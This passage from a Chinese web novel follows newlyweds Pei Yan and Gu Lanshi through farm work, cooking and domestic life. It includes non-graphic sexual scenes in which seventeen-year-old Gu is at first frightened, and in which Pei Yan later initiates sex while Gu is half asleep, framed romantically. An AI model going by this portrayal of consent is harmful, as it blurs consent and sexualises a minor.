他三人都年轻,身板结实有力,尤其裴厌,长胳膊长腿一看就力气足,再加上顾兰生和管事的有几分浅薄交情,管事的看一眼就问他名字,记下后裴厌便跟着众人领秧苗干活。 白大财主因家里地多,插秧给短工一天四十文,管两顿饱饭。 这工钱看似不多,却比在稍富裕的小农家做短工多,有二十几亩地的人家自己忙不过来,同样会雇人,工钱是一天二十文,管一顿饱饭。 白大财主这边要的多是年轻力壮的汉子,有些年老的汉子凑不上来,就会到小农家做短工,挣个二十文也不错。 因那边有饭吃,顾兰时这几天只管自己就行。 裴厌在白大财主家里干了五天活,最后一天只有半天,但白大财主来田里巡看过后一高兴,按着一整天给众人发了工钱, 工钱是日结,裴厌再次拿回四十文钱后,顾兰时找了麻绳穿钱,刚好两百文,两串钱呢。 裴厌坐下歇脚喝水,说:“二哥说到割麦时天热,一天工钱有六十文,也管两顿饭。” 顾兰时抬头笑道:“比别处工钱高。” 小农家雇人割麦一天是三十文,裴厌点头道:“是。” 顾兰时想了下又说:“忙了好几天,离割麦不远了,你也该歇歇。” 裴厌喝一口水,点头道:“嗯,后面天一热,灌水拔草都是活,大哥也是这样说的,码头那边不急着去。” 顾兰时将麻绳头绑好,看一眼他衣裳说:“该换衣服了,头发也该洗洗,不如烧一锅水,趁天色亮又有太阳,洗头沐浴一番,身上就舒坦了。” 浴桶木匠已经送来了,他昨天趁裴厌不在家好生搓洗了一番,洗完浑身都是轻快的。 裴厌微顿,最后低声说好。 顾兰时没让他去烧水,自己放好钱高高兴兴进了灶房。 西边屋子长久没住过人,有些阴冷,裴厌把浴桶搬进东屋中,放在离炕较远的地方。 热水兑好后,见裴厌来提水,顾兰时有点不好意思,但还是顺嘴问道:“要我给你搓背吗?” 在家里时他娘和竹哥儿有时会喊他搓搓,狗儿小时候也是他给搓洗,大了后才避嫌。 现如今只有他们两个,裴厌干了这么多天活,搓洗一下才能舒坦。 裴厌提着水桶在原地沉默一下,随后抬眸看他:“好。” 顾兰时被这一眼看得莫名红了耳朵,脸颊都是烫的,幸好裴厌已经提着水出去了。 他拍拍脸蛋,让自己不要这么大惊小怪,一家人过日子不就这样,别说搓背,小时候他娘太忙没工夫,狗儿和竹哥儿洗澡都是他帮着洗的,虽然洗的没那么细致,毕竟他自己年龄也小。 没有跟着进屋,等裴厌洗泡一阵后,顾兰时在窗外问道:“好了?” 屋里传来一声低低的答应,他这才进去。 轻轻关上房门,顾兰时看一眼背对着自己的人,脸颊红红的,热意怎么都消不下去。 他上前小声说:“布巾。” 裴厌依旧背对着他,只伸手往后递布巾。 布巾沾了水,顾兰时先给他擦洗肩膀,又顺着往背部走,裴厌很配合,没有靠在桶璧上,往前微微弯腰,露出大片肌肉结实的脊背。 刚才进来时没敢多瞅,这一眼顾兰时看清他身上有七八条刀疤,有的颜色已经很淡了,细看才能发现,有的应该是当时伤口比较深,疤痕很明显。 之前只听他娘说战场怎么怎么死人,从未听裴厌提起过,这会儿顾兰时才恍惚觉出战事的残忍。 好好的人被砍这么多刀,这还只是背上,不知道身上其他地方有没有,打了几年仗,活下来当真是不容易的事。 他心里有点闷闷的,也不再害羞,手和布巾都用上,专心致志帮裴厌搓洗后背。 热水一泡,污垢很好搓洗,饶是这样,他也费了一番力气,裴厌自己够不到背部,自然比别处脏了点,至于腰腹,他没好意思去搓。 直到背上光滑再搓不出东西,顾兰时才把布巾递到前面,又问道:“还要热水吗?” 一直没开口的裴厌哑着嗓子说:“好,再添一点。” 顾兰时给他提了一桶热水,多泡泡能洗的更干净,随后带上门,自己在堂屋剪鞋底。 裴厌这几天在外面做短工,他得空在村里花五个铜板买了别人几身破旧衣裳和一些布块布条子,洗干净后,熬了浆糊在院里打袼褙晒干,今天按着裴厌的鞋样子剪出来,回头先把几层鞋底纳了,慢慢就能做出来一双。 几年来第一次在浴桶里洗,行军时糙惯了,冬天也用冷水随便洗洗,搓完背一看水里污垢这么多,裴厌心里那点旖旎瞬间消失,只觉没脸,沉默着一直没说话,添了热水后不免多泡了一会儿。 他搓洗完还没用野澡珠,觉得水实在脏,又不好意思喊顾兰时帮忙换水,自己从桶里出来,腰间围上脏衣服遮挡。 房门一开,顾兰时还以为是洗完了,没想到裴厌赤条条的上半身出现在眼前,他手足无措,又看见裴厌身前长长短短的疤痕,尤其偏心口那一道旧疤看着有些狰狞。 “我换换水。”裴厌提着桶解释了一句。 “噢噢。”顾兰时胡乱答应,见他这般出来实在有些不妥,放下手里的活帮着去换。 折腾一番裴厌又进去洗,他一个人坐在外面发呆,果然和他想的一样,不止背上有伤。 不过他不敢问,怕一问是往裴厌伤口上撒盐,裴厌本来就不爱提起以前的事,性子又怪,便只能叹一口气作罢。 彻底洗干净后,裴厌觉得浑身轻快,这还没完,顾兰时又烧了半锅水给他洗头发。 野澡珠搓出白沫,两遍后头发干干净净,他披发坐在院里晾晒。 顾兰时拿了梳子过来让他梳梳,自己坐在旁边剪鞋底,笑道:“我等会儿把褥单和被子换了,夜里睡觉更舒坦。” “嗯。”裴厌点点头,从头到脚洗干净后,心情也变好了。 顾兰时把最后一层鞋样子剪完,揉揉脖子说:“我改天回家拿些菜种子,种点青瓜、薄荷还有豇豆,天热后有瓜菜吃,这会儿种冬瓜南瓜有点迟,不过不打紧,先种下去再说,指不定能出来呢。” 他看一眼前院菜地,说:“正是种黄花菜的时候,多弄几行,能收好几年呢,我娘种的那些,先弄一些分根回来,不够的话咱们自己播点种子,多等两三年而已,辣子、茄子还有蒿菜也种一些,两个人吃饭,不能太对付,多种几样好换着吃。” 裴厌顺着他的目光看向菜地,心里盘算着这么多样数,明天要翻一翻地,多垦一片出来。 忙活这些天,地种了,还挣了一点钱,总算能歇歇,两人少有的都在家里,即便这样,打草喂牲口都是活,说闲也闲不下来。 直到夜幕降临,顾兰时盥洗过后坐在屋里烫脚,一点月色从窗外透进来,连油灯都不用点。 他擦干脚要去倒水,不想裴厌比他快,端着木盆出去了。 顾兰时露出一点笑意,放下中衣裤管先上炕。 等裴厌躺上来后,能闻到对方身上的淡淡野澡珠香气,是一种干净的味道,闻着很舒服。 也不知是不是裴厌身上太热,连带着香气似乎也有点热意,他往炕里缩了缩,莫名觉得不安。 第53章 月色如水,屋里不像冬天那样昏暗,后山偏僻幽静,一时间两人都没说话,只能听到外面遥远山林中偶尔传来的几声野鸟啼鸣。 顾兰时放轻了呼吸,他说不上是为何,但大气不敢出。 夏天到了,纵使住在山脚下,也没有那么凉快,又或许是因神思扰乱而躁动,他胡思乱想,没一会儿就觉得被子太热,恨不能只盖个被角,可自己又不敢动,只好偷偷摸摸伸出两只脚在外面。 该换薄被了,他俩一共只有三床被子,自己陪嫁带了一床,裴厌有一床旧的和一床新被,芦苇花倒是能用来填被子,可惜还没到开花的时候。 明天要回家找他娘拿点麻线,好给裴厌纳鞋底,这边院落四周没种苎麻,只能去山上找野麻回来,这其中又要浸泡剥洗,太费功夫了,裴厌之前存下的那点麻线不太够,还是拿现成的好。 他让自己闭上眼睛睡觉,心道总是回家拿东西,他爹娘不说什么,但四邻都能看见,岂不是落人闲话,不如让裴厌去买,比起丝线和棉线,麻线没有那么贵,十全村那边有个走街串巷的货郎,他这几天若不来,让裴厌上他家买去。 顾兰时让自己忽略旁边那股分外明显的热意和野澡珠香气,谁知还没等他睡着,就发觉裴厌像是往里靠了靠。 他没有睁眼,以为是翻身所致,自己畏惧汉子身上那种侵略性极强的热意,便往里面让了让。 谁知外面的人竟似贴上他一样,过了一会儿又朝里蹭过来。 顾兰时这下没法骗自己,裴厌不是故意的。 他有点不知所措,自打成亲后,他俩没有睡过一个被窝,更别说做点什么。 怀着对未知事情的一点恐惧,他再次往炕里悄悄挪动。 屋子不算大,土炕自然也没那么大,三两下就蹭到了最里面,再避让不开。 顾兰时裹着被子,胳膊贴着墙,他悄摸睁开眼睛,但没勇气去看裴厌,只竖起耳朵听动静。 发觉顾兰时在躲他后,裴厌微抿着薄唇,有点闷闷不乐,但最终身体的渴求让他放下了脸面,没说话,再次蹭上去。 黑暗助长了内心深处的贪念,夜色撩人,当一点点伸进被子里的手摸到另一只手时,肌肤稍一触碰,便勾起心中一点涟漪,那涟漪越扩越大,似不可填平的沟壑。一切像是顺理成章,再顾不得什么脸面礼法。 顾兰时被炙热笼罩,他嗓子发抖,一个字都说不出来。 在村里一群双儿和姑娘里,他个头还算可以,但在裴厌面前一点都不够看,细胳膊细腿,裴厌看着瘦,实则宽肩窄腰,一俯身便将他整个人挡住,逃都逃不开。 急不可耐的手试图撕下他里衣,藏在内心深处的恐惧让顾兰时挣扎了几下,急促的呼吸声能听见几分哭腔。 他紧张害怕,发现裴厌停下之后才勉强止住想哭的情绪。 也不知裴厌在想什么,僵持着过了好一会儿才有别的举动,顾兰时一下子提起心,没想到裴厌只是伸胳膊抱住他,再没别的。 “咕咕咕” 院里不知道什么东西在叫,透过窗户传进来,声音闷闷的,紧接着便是大黑几声吠叫。 顾兰时听见鸟儿拍打翅膀的声音,随后院里安静下来,他心里乱糟糟的,好一阵后才熟悉这样肉贴肉又十分紧箍的怀抱。 不知为何,腰上的胳膊越勒越紧,不至于叫他喘不过气,可也有些难受,尤其裴厌反应很明显,从一开始他就察觉了。 野澡珠干净好闻的味道充斥在鼻息间,顾兰时像是突然发现了这点,后知后觉回过神,这是裴厌。 被抱着有点难受,但惶恐不安的情绪渐渐平静下来,炙热有力的臂膀带来了安心,他想了好一阵,说服自己总会有这天的,自己已经成亲了,况且这是裴厌。 可真要他同裴厌说可以,实在耻于开口,他平生做过最大胆的事就是缠着裴厌娶他,眼下那股冲劲在体格差异上消失的无影无踪。 顾兰时有点想钻进地缝里,却被勒得太紧,他实在难受,就挣扎着想动动,谁知这一动,像是碰到了不得了的枷锁。 裴厌平时再冷,实际只比顾兰时大三岁,今年不过二十,正是血气方刚的时候。 他着实忍耐不住,脸颊蹭着顾兰时脸和耳朵厮磨,嗓子沙哑,说:“我会慢些。” 顾兰时紧张到想咬住手指,但手没法伸上来,他心中突突直跳,最后把心一横眼一闭,咬着牙关答应一声:“好。” 云朵遮住月亮,从窗子里传出一些奇怪响动,大有彻夜不休的架势。 * 上午清了水田里的杂草苗后,裴厌沿河岸往后山走,他背着竹筐,路上顺便薅了一筐鹅肠菜回去喂猪。 看见水边有一片水草又嫩又绿,他将鹅肠菜压了压,又拔了一大把水草塞进去,剁碎后鸡鸭爱吃。 草鞋和裤管上沾了泥水,他没想起来在河水里洗洗,有点着急回去,却又有点害怕回去太早,这也是他没走村里路的缘由。 尽管知道顾兰时不会骂他,但只要一想到顾兰时可能会瞪他,心里就不高兴,他一点都不想被凶,只想贴着自己夫郎,做什么都好,无论洗衣做饭还是烧水,让他去背石头也行,只要顾兰时和他一起。 话虽如此,他今天醒来的时候一身轻快自在,从起床脸上就忍不住有笑意,和平时判若两人。 也是他出门迟,在地里忙活的人顾不上说话,而且和他不熟悉,更不会上前搭话,这会儿又早早回去,路上没几个人,因此还没人看见他如此春风和煦的模样。 一路犹豫不决,但还是越走越近,看见院门半掩,和他出门时没区别,往日顾兰时都会出来打草或在河边洗衣裳,看样子今天没出来。 裴厌这才生出几分愧疚,看见大黑从门缝里挤出来朝他摇尾巴,他心情很好,在进院门时甚至弯腰摸了两下狗头。 大黑尾巴一顿,随后疯狂摇动起来,从未被这样善待过,它喉中呜咽,连平时总露凶光的眼睛也温柔了许多,跟在裴厌后面欢快又雀跃。 放下竹筐洗干净手和腿脚之后,裴厌顾不上先喂禽畜,他都回来这么久了,顾兰时却没动静,便三两步赶进房中。 炕上人睡得正香,许是天太热,一条腿露在外面,斑驳痕迹昭显了昨夜的“暴行”。 裴厌喉结剧烈滑动,直勾勾盯着,半天没挪脚。 大黑向来不进房间,顶多在堂屋转转,见主人没理它,它尾巴晃晃出去了。 被咬住嘴巴时顾兰时迷迷糊糊醒来,他尚未清醒,闻到裴厌身上的味道后人是懵的,却没反抗,知道这是裴厌,呆愣愣任由索取,直到房顶在眼前晃动。 * 傍晚,天边霞光璀璨,言语无法描绘其绚丽,农人扛着锄头背了竹筐回家,即使见惯了晚霞,看见这一幕都忍不住驻足,只觉祥瑞平和。 顾兰时坐在院子里透气,他同样看见了霞彩,只是坐在院里有泥墙和树林遮挡,无法见其全状。 他眼神发愣,自己也不知道在想什么,听见灶房切菜的动静才逐渐回神。 昨晚那些让人面红耳赤的事情他不愿想起,可看见自己胳膊上腿上的痕迹,忍不住就被提醒。 裴厌平时看着冷峻凶狠,昨晚一开始还算慢,可到后来,像是控制不住一样,也愈发凶狠,连他嘴巴都咬。 看见大黑从河边喝了水回来,身上长出来的一点长毛总算没那么难看了。 跟狗一样,顾兰时在心里骂了一句,这不怪他,裴厌咬他时那股疯劲确实像疯狗。 他坐在院里发呆,没一会儿裴厌从灶房出来,往他手里塞了个已经晾温的鸡蛋。 高挑劲瘦的男人似乎有些无措,蹲在顾兰时面前眼巴巴看着,薄唇微抿,随后小心翼翼开口道:“你吃。” 他这幅忐忑胆怯的模样,让顾兰时一下子不知道要不要生气,这会儿做出这种样子,怎么之前就不知道克制克制。 他越想越生气,却又舍不得砸手里的鸡蛋,家里一共就那么几个鸡蛋,平时都舍不得吃。 顾兰时深吸一口气,剥开鸡蛋壳恶狠狠咬了一半进嘴,见裴厌还蹲在身前眼巴巴瞅他,递过去半个蛋的手及时刹住,他把鸡蛋全部吞进嘴里,咽下去后说道:“我才不给你吃。” 没吃到鸡蛋的裴厌喜笑颜开。 他本是极为俊朗的相貌,眼睛偏长,不笑时冷峻沉静,颇有几分威势,更兼脸上那条长疤突显凶恶,笑时却如桃花拂面,要不是有疤破了相,端的也是个受人瞩目的俊汉子。 顾兰时哪里见过这场面,裴厌之前也笑过,但不如这般喜悦开怀,黑沉沉的眼睛更是有了点点光亮。 人若连眼睛也在笑,可见是真的高兴。 他一愣,眼神落在没有伤的右半张脸上,以前没发现,竟如此俊朗,他又看看左边,伤口确实很长很狰狞,可看惯之后,也没那么丑恶。 “都给你吃。”裴厌笑眯眯的。 发现自己夫郎视线落在他左边脸后,他高兴不减,但站起侧了侧身,只余右半边身体对着顾兰时,说:“我去做饭,你歇一歇。” 昨晚实在有违常理,顾兰时头一次经历就如此,差点傻掉,今天一天都是蒙的,不怎么清醒,加之身上有点不舒服,裴厌举止又自然,他没发现这一小动作,换了个姿势坐好,只等开饭。 第54章 筷子被递到手边,顾兰时看一眼裴厌才接住。 桌上不过最简单的一饭一菜,米汤熬的比较稠,米煮烂了之后自有一番米香,炒春菜清淡,只撒了盐,他尝一口唇边露出个浅笑,手艺还算不错。 见他动了筷子,也没说难吃,裴厌一颗心总算放下来,他拿筷子一口菜还没吃,说道:“明天我去打兔子,回来给你炖肉吃。” 顾兰时今天一天精神头都不好,闻言打起精神好奇问道:“你会打兔子?” 裴厌喝一口米汤,说:“我会用弹弓打,山里野兔多,多转转总能打到一两只。” 他话比平时多了点,又道:“弹弓看着不如弓箭,实则威力不小,打兔子手稍重一点多半会打死,野兔遭了重击就算当时没死,过一阵也能吓死,天又热,放不了多久,只能少打一两只,吃着也新鲜。” 顾兰时点点头,他见过村里人在冬天天气好的时候带狗上山撵兔子逮野味,还有人会用弹弓和弓箭射兔子打鸟。 想起上次裴厌打鸟准头那么好,他心道打兔子的本事肯定也不差。 饭虽简单,两个人一起吃倒也挺香,太阳落山后,天色逐渐暗下来。 裴厌自知理亏,刷锅洗碗喂猪的活全包了,两口锅到底方便,煮猪食的时候顺便给顾兰时烧了盥洗烫脚的干净水。 顾兰时在屋里泡脚,想起昨晚那些羞死人的事只觉恍惚,心里后知后觉咂摸过味,原来这样才是成亲了。 他耳朵有点红,心想幸好是裴厌。 翻来覆去想这些事实在不妥,他捏捏自己两只发烫的耳垂停止回忆,不然一想起裴厌那股子又莽又狠的劲,实在有点吓人。 月光明亮,他上炕后没有点油灯,用被子裹好自己往炕里一滚,手脚一点没露出来,打个哈欠就闭上了眼睛,困到一个字都不想说。 等裴厌拾掇洗漱完进来,天色已经晚了。 顾兰时迷迷糊糊听见动静,上炕的除了裴厌再不会有别人,他连眼睛都没睁开,下意识往炕里缩了缩。 尝到滋味的裴厌并不甘心自己孤零零一个人睡被窝,在夜色中悄悄摸索着,总算将紧紧裹住的被子掀开一角。 顾兰时半梦半醒间忽觉一热,他完全不知道裴厌怎么做到的,就这么钻了进来。 被搂住的时候他声音困倦,喊了声热,又迷瞪着睡过去。 也不知颈侧和肩膀被亲亲蹭蹭多久,他不耐烦推了推那张脸,翻个身背对过去,想生气但太困了,没法儿说话。 不曾想裴厌安分没多久,竟钻进被子里作乱。 顾兰时热得不行,咬住唇没敢发出声音,偶尔从唇边露出来的一点动静带着哭腔,本以为今晚该歇了,没想到又来。 月上中天,夜色深了,屋子里的动静才渐渐平息。 顾兰时睡觉时穿得好好的中衣一件都没了,抱着他的人同样如此,肉紧紧贴着肉,他只觉得热,蹬开被子腿脚露在外面。 裴厌哑着嗓子说:“睡吧。” 这两个字让顾兰时彻底放下心,只是闭上眼睛没一会儿,他突然想起一件事,鼻音稍重问道:“你怎么会这些?” 没头没脑一句话,裴厌却无比清楚,他沉默一阵才照实开口:“以前在军中的时候,只要不打仗,会有人去喝花酒,回来后没有别的话说,只吹嘘这些事,我听过一些,也没什么难的。” 他说得简单,实际有些荤话极为下流腌臜,他自己都说不出口,兵卒里有些愣头青,啥也不懂胡乱弄一番,回来后还被老兵卒子笑话,汉子多了,也会互相“传授”,全然不顾在场人众多,有时他避不开,只能在哄笑中听几耳朵。 顾兰时狐疑问道:“喝花酒?” 裴厌没立即吭声。 顾兰时一下子精神了,翻个身面对着裴厌,问道:“你有没有去过?” 裴厌闷闷开口:“去过一次。” 顾兰时声音拔高:“你去过?” 裴厌连忙解释:“去是去过,可喝花酒太贵了,我被拉去后给灌了一杯酒,我问酒水多钱,花楼里的人报了价,我付了一杯酒钱就走了,在那里喝一壶,都够在外面买一坛的。” “真的?”顾兰时半信半疑,之前的经历让他对外面的汉子十分不信任,没想到裴厌竟喝过花酒,虽然是被拉去的,可他还是问道:“那、那你有没有做别的?” 一想到这件事他心里就难过,不问个清楚连觉也睡不着。 裴厌一下子急了:“没有别的。” 他急得不知怎么办才好,被冤枉实在难受,翻身压住顾兰时说:“花楼里的姑娘和双儿都是要钱的,我又没钱,怎么会做别的。” 虽然从小没想过自己娶亲的事,可看着村里众人他也知道,睡觉这种事情要跟自己夫郎来,而不是别的什么人,他知道有的兵卒家里有老婆孩子,却在外面乱来,打心眼里看不起,又怎会做那些事。 他这么着急,顾兰时心里就信了,但一时不知道说什么,觉得刚才自己的反应有点不对劲。 裴厌以为他还是不信,又急又挫败,心里乱糟糟的,连眼睛都有点红,要不是夜色遮蔽,恐怕都能看清他被冤枉后满脸的委屈。 “我没有。” 顾兰时正要说话,心口一沉,却是裴厌将脸埋下来,伴随着一句被冤屈的解释。 温热的吐息在心口拂过,痒痒的,他心中一松,笑着拍拍裴厌脊背,说:“行了,我知道你没有,以后再不问了。” 裴厌沉冤得雪,总算不委屈了,只是心里还有点闷闷不乐。 尽管冤枉他的是顾兰时,可他依旧想贴着人,甚至这样贴着抱着还觉得不够,恨不得将人融进怀里吃进肚里,而他也真的张嘴咬了顾兰时。 刚冤枉了人家,被咬一口顾兰时认了,甚至裴厌又作乱的时候他也没推拒,小心翼翼回抱住人。 他本意是想做个赔罪,没想到裴厌因为这点回应更疯了。 * 家里有禽畜,每天草料不可缺少,顾兰时醒来后裴厌已经出门了。 他下炕姿势有点别扭,和往日走路也有点不同,心知自己今天又出不了门,他叹口气,却也怪不了谁。 太阳早就出来,院门闭着,大黑枕着一根短木头打盹。 狗夜里要警醒看家,白天不出门的话,经常闭着眼睛补觉。 进灶房一看,案台上的碗里放着剥好的鸡蛋和馒头,顾兰时眉眼弯弯,仅有的一点不高兴一散而空。 洗漱完填饱了肚子,他揭开笼屉,馒头只剩下四个,今天一天就能吃完,他试了试力气,拎了半桶水去给猪倒,一路走一路腿脚不灵便,连胳膊都有点酸软。 成亲后头几天吃的馒头是裴厌蒸的,不如等他回来。 打定主意后,顾兰时不再为难自己,胳膊和腿还算好的,最难受的地方说都说不出来,回房再次躺下。 这两天没歇好,他迷迷糊糊快要睡着时,听见院里大黑叫了两声,随后是院门被打开的动静。 很少会有外人来后山这边,大黑的叫声他已经能分清,是裴厌回来了。 顾兰时懒懒起身,揉了揉眼睛才下炕,一出去就看见地上有只灰色野兔,皮毛上有血迹,瘫在那里一动不动,该是死了。 大黑上前闻了几下,它知道野兔能吃,馋的流了口水,被裴厌呵斥一声才走开。 “真打到了。”顾兰时有点惊喜,野兔肉稀罕,偶尔才能吃一次,上回吃还是前年在他舅舅家。 “嗯,等下剥皮,趁新鲜今天就煮了吃。”裴厌边说边从竹筐里掏草,用柴刀在木板上剁成好几节,鸡鸭如今长大了些,草不用剁得那么碎。 顾兰时殷勤往灶房抱柴火,剥皮烫毛得用滚水,见挡不住他的热心,裴厌只得作罢,脱了自己外衫垫在灶火前的凳子上,好歹能软和点。 吃肉这种事听起来就高兴,顾兰时坐下烧水,最近吃素多,荤腥只有猪油和几个鸡蛋,今天总算能打打牙祭。 以前行军在野外驻扎时,裴厌会跟着其他人一起打野味,拔鸡毛剥兔皮这种事再熟悉不过,很快就弄好了。 兔子死了没多久,肉质新鲜,撒一把之前顾兰时从家里拿回来的干花椒去去腥气,煮熟炖烂后撒点盐,吃起来很香。 大黑馋的滴口水,裴厌把下水煮了煮扔给它吃,兔子心肝脾肺还有肠子这些都小,吃起来没有猪肝肺过瘾,也让它沾点荤腥。 顾兰时吃肉吃的高兴极了,四只兔腿吃了三个,裴厌让着他,自己捞了骨头多的肉块吃,啃得干干净净。 正是农忙时,裴厌吃完饭和了面后又去地里转,麦子还没熟透,不到割的时候,他回来挖了些野菜,在顾兰时的支使下揉面,蒸了两锅馒头出来。 这回蒸的馒头花样多,有白面馒头糙馒头还有野菜馍馍,其中白馒头最少,只有十五个。 出锅后看着热气腾腾又白又暄软的馒头,两人都有点舍不得吃,最后还是顾兰时说一人尝半个,这才吃到嘴。 刚出锅还热乎,白白胖胖的馒头什么都不用就,空口吃都是香软的。 鸡蛋只剩两个了,上午顾兰时吃兔肉狼吞虎咽的模样,显然很馋荤腥吃,裴厌嘴上没说,但都看在眼里,见太阳还没落山,他背上竹筐去山上打草,回来后带了二十几个鸟蛋。 又是兔肉又是鸟蛋,顾兰时摸着圆滚滚的蛋笑意满面。 裴厌把竹筐里最后一个鸟蛋放在蛋篮子里,说:“头先忙,没工夫去掏,鸟蛋虽小,多吃几个就是了,这些都是山雀蛋,找到野鸡蛋更好。” 山里有些鸟蛋不能吃,乡下人口口相传,有的鸟蛋吃了要倒霉,而有的鸟窝里也不一定是鸟蛋,万一是鸟雀不要的窝,被蛇下在里面,还有的鸟蛋颜色吓人,剥开是血红血红的,也不知是什么东西,不吃最好,这种山雀蛋和鸡蛋很像,吃着不怕。 顾兰时把手里的鸟蛋放好,明天早上煮几个吃,鸟蛋不要钱,吃起来不心疼,他笑眯眯说:“要是得空的话,咱俩一起去,我小时候还在山里摸过野山鸡蛋呢,那次运气可好了,得了八枚。” 裴厌巴不得干活时有夫郎在身边,连声应好,他看着顾兰时喉结缓缓滑动,竟又起了点心思。 他年刚二十,正是精力旺盛的时候,一身蛮力莽劲跟使不完一样,十七八岁时开了窍,因为穷苦没有娶亲的心思,一直不得纾解,如今可算逮着顾兰时啃。 不过看顾兰时走路不大顺的模样,那点心思最终还是歇了。 第55章 该做的事已经做过,两人之间远比之前亲密,晚上不再是两个被窝。 年轻正是精神十足的时候,虽不像前几天那么频繁激烈,夜里偶有亲吻和旖旎情事,对顾兰时来说,不再那么难以忍受。 太阳正大,顾兰时在院里翻一遍晒的野菜,这几天太阳很好,不能偷懒,之前裴厌只有一个人,种的菜晒的干菜都不多,今年冬天他们两个人,多囤点才能安心。 昨天下午裴厌将前院菜地垦出来了,泥土翻得松软,又浇过水变得湿润,早上他回了家一趟,各种菜籽和分出来的植株都种下了,虽迟了一点,这几天多看看泥土的情况,要是太干就多浇点水,防着种子吸不到水长不出来。 太阳很晒,基本一天就能晒干透,他起身又拔了五颗大春菜,挎下叶子洗干净,菜茎也洗净切成片,铺在竹匾上晾干。 六个竹匾用完了,春菜还没晒完,家里又没多余的草席可用,他只得将菜一排排摆在木柴堆上晒。 竹筐竹匾他会编,没有篾匠那么精细,凑合着自家能用,不过要是想多晒点菜干子留给冬天吃,不如草席竹席铺在地上方便。 顾兰时一边摆放春菜一边想,不知道裴厌会不会编,清水村倒是有个篾匠,可这样就要花钱,不行回家问问他爹,自己和裴厌试着编一个,编不好只要能摊在地上用就行。 他手脚挺利索,放好后看一眼躲在阴凉处的大黑,家里人吃的东西它有时会馋,但从来不偷吃,也不会咬坏院里的各种菜。 见他看过来,大黑耳朵一动,摆在地上的尾巴晃了晃。 春菜一年四季有三季能种,他俩拔菜一行顺着一行来,不会从中间挖,这样有章法,下菜种也方便,晌午太热,等傍晚热气褪去再把五个空缺补上不迟。 太阳晒在脸上热到像是有点疼,顾兰时脚步匆匆躲进堂屋,幸好早起在家里掐的薄荷多,插进土里一些,还剩一些他用滚水冲了,这会儿已经晾凉。 一碗清清凉凉的薄荷水下肚,解暑又解渴,他放下碗歇歇,吃了个竹哥儿给他装的米糕。 裴厌上山找石块去了,后院已经堆了不少,估摸着今天再弄几块回来就可以和黄泥垒猪圈。 顾兰时闲不下,别看现在离冬天还远,还有一整个夏天用来晒干菜,可菜一旦晒干会变得很轻,即便泡开了,和鲜菜比还是较少; 再说这是他成亲第一年,在家里时从不操心这个,有他爹娘在,如今自己当家了,一想到下雪后没吃的,心里就不踏实,可不得多囤点。 春扁豆和丝瓜这两天没摘,已经有不少长成的,他取了斗笠戴上遮太阳,又到院里摘菜。 丝瓜好晒,洗净切成块就行,没有竹匾了,他把一个平常放菜的大竹篮擦了几遍,将丝瓜块放上去晒。 扁豆麻烦点,要焯过水再晒,还得把两边的筋去了,顾兰时烧开水将一大碗扁豆倒下去,见变了颜色后等了一下,这才用漏瓢捞了上来。 没有竹匾了,他想了下,把一个竹筐横放在平稳的木头堆上,刚好扁豆上的水会顺着缝往下流。 拾掇完灶房,他看一眼水缸,水不多了,于是拿了扁担和两个空桶去河边打水。 扁担很有韧性,即便水桶沉重也不会断,随着走动扁担不断上下起落,发出咯吱咯吱的声音。 顾兰时忙忙碌碌没有停歇,等他挑满一缸水,背部衣裳已经湿透了,稍乱的发丝也有点湿。 刚放下扁担,裴厌背着沉重的竹筐进了门。 大黑迎上去,但裴厌没有看它,一进门眼睛就落在顾兰时身上。 “回来了。”顾兰时顿时喜笑颜开,摘下斗笠给两人都倒了碗薄荷茶水。 裴厌将竹筐放在堂屋门口,从里头拿出五六根竹笋,眉宇间冷意消融,他脸上笑意不大,但眼睛是亮的,说:“路过竹林时挖了几颗嫩的,我看你在院里晒了菜干,今天吃不完刚好切了晒。” “嗯。”顾兰时点头应好,走过去接住竹笋,又说道:“可惜咱们没有能用的竹席,竹匾都用完了,我还想问问,你会不会编席子?不行回家问问爹,他年轻时学过,不过后来没做篾匠,只给家里编几个,席子又耐用,这些年都没坏,他应该还记得手艺。” 裴厌思索一下说:“要说编席子我能上手,只是没有篾匠编的好。” 顾兰时笑道:“要那么好做什么,又不是睡人的,我只是觉着想多晒点菜干,弄个席子铺在地上,又大又方便。” “那好,改天我砍些竹子回来。”裴厌说完端起碗喝水,薄荷水清凉,喝完人都精神了一点。 晌午饭已经吃过,还不到做下午饭的时候,忙了这么久,又晒又热,两人坐下歇息,顾兰时把糕点碟子往裴厌那边推了推,山上路远,他还特意绕到竹林那边,多少吃一点垫垫。 裴厌拿起一块吃,米糕里加了一点红枣,能吃出枣香。 顾兰时小口喝着水,看见大黑换了一块地方趴,它身上毛还是有点乱七八糟的,不过齐根剪掉的地方已经被毛发覆盖。 他放下碗说:“长毛没事得梳梳,不然以后又打结。” 米糕不大,裴厌三两口吃完,顺着他的话看过去,说:“它这几天一热就去石头池子里泡,不用再洗了,梳毛的话,木梳不能给它用。” 他说着起身走到院里,在木头堆里找了块巴掌大的薄木板,用柴刀仔细切削,没一会儿弄出把简易的梳子,有梳齿就行。 顾兰时纳了几针鞋底,一抬头看见他在给大黑梳毛,大黑很少被人摸,激动的一个劲摇尾巴,甚至嘤嘤叫想扑裴厌,但被一只大手按住脑袋趴在地上没法动。 他放下针线走过来,看得兴起接过裴厌手里的木板梳子,叮嘱道:“你可得按住了,我怕它咬我。” “它不敢。”裴厌嘴上这么说,但腾出来的右手直接握住了大黑嘴筒子。 顾兰时一下子松了口气,大黑牙齿尖利,让他总觉得划一下都能划出血道子,因此十分畏惧。 这下没了尖牙威胁,他梳毛很放心,一点点将打结的毛发梳顺。 他俩蹲在角落阴影里没那么热,就是蹲久了腿脚发麻,裴厌顺手拿了木头堆旁边的矮树墩让他坐下,自己也找了根木头横放在屁股底下垫着。 “等割了麦闲下来,带它再去洗洗,用野澡珠更干净。”顾兰时边梳边说。 “好。”裴厌答应着,说道:“麦子半黄不绿,过两天熟透了才能割,要是明天能垒完猪圈,傍晚就带它去。” “行,早点洗干净也好。”顾兰时身上汗水不知不觉流下,衣裳湿了后才发觉,他抬胳膊擦擦额上汗,说:“太热了,浑身都是汗,傍晚烧水洗洗,你洗不洗?” 如今有了浴桶,不用站在院里,他和往年在家里一样,夏天洗的勤些,虽费水费柴,好在柴火山上有,水能从河里打,都不用花钱。 裴厌嗓子微紧,直勾勾看一眼顾兰时,说:“洗。” 顾兰时低着头给狗梳毛,没瞧见他这幅神色。 太阳没那么晒了之后,两人到后院划猪圈地盘,按顾兰时想的,以后多养两头猪,粪肥多还能卖猪肉猪仔,不过今年他们只有一头,暂且垒一个猪圈就行。 